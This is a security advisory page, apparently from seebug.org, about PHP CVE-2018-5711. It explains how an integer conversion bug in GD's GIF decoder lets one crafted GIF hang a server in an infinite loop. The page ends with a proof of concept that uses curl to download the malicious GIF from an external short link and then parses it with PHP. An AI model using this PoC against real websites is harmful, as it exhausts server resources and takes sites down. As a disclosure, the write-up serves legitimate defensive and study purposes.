Lucene search

K
seebugRootSSV:97122
HistoryFeb 02, 2018 - 12:00 a.m.

PHP CVE-2018-5711 - Hanging Websites by a Harmful GIF

2018-02-0200:00:00
Root
www.seebug.org
146

0.003 Low

EPSS

Percentile

66.7%

Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!

Affected

All PHP version

  • PHP 5 < 5.6.33
  • PHP 7.0 < 7.0.27
  • PHP 7.1 < 7.1.13
  • PHP 7.2 < 7.2.1

Vulnerability Details

The vulnerability is on the file ext/gd/libgd/gd_gif_in.c
There is a while-loop in LWZReadByte

460    do {
461        sd-&gt;firstcode = sd-&gt;oldcode =
461        GetCode(fd, &sd-&gt;scd, sd-&gt;code_size, FALSE, ZeroDataBlockP);
463    } while (sd-&gt;firstcode == sd-&gt;clear_code);

Function GetCode is just a wrapper, and GetCode_ do the real stuff.

376    static int
377    GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378    {
379        int           i, j, ret;
380        unsigned char count;
           ... 

399        if ((count = GetDataBlock(fd, &scd-&gt;buf[2], ZeroDataBlockP)) &lt;= 0)
400            scd-&gt;done = TRUE;
           ...
           
405    }

GetCode_ call GetDataBlock to read data from GIF!

332    static int
333    GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334    {
335     unsigned char   count;
336    
336     if (! ReadOK(fd,&count,1)) {
338         return -1;
339     }
340    
341     *ZeroDataBlockP = count == 0;
342    
343     if ((count != 0) && (! ReadOK(fd, buf, count))) {
344         return -1;
345     }
346
347     return count;
348    }

OK, here are all vulnerable code, can you spot the vulnerability? :P

The bug relied on the type conversion from int to unsigned char. As you can see:
If GetDataBlock_ return -1, scd-&gt;done in line 400 will set to True, and stop the while-loop. But it will never be executed because the definition of count is unsigned char, it’s always be a positive from 0 to 255.

So the result is, one single GIF can make an infinite loop and exhausted the server resource.

PoC

$ curl -L https://git.io/vN0n4 | xxd -r &gt; poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'

  Infinite loop here...

It’s easy to exploit in real world because lots of websites resize user-uploaded image by GD library…


                                                $ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'

  Infinite loop here...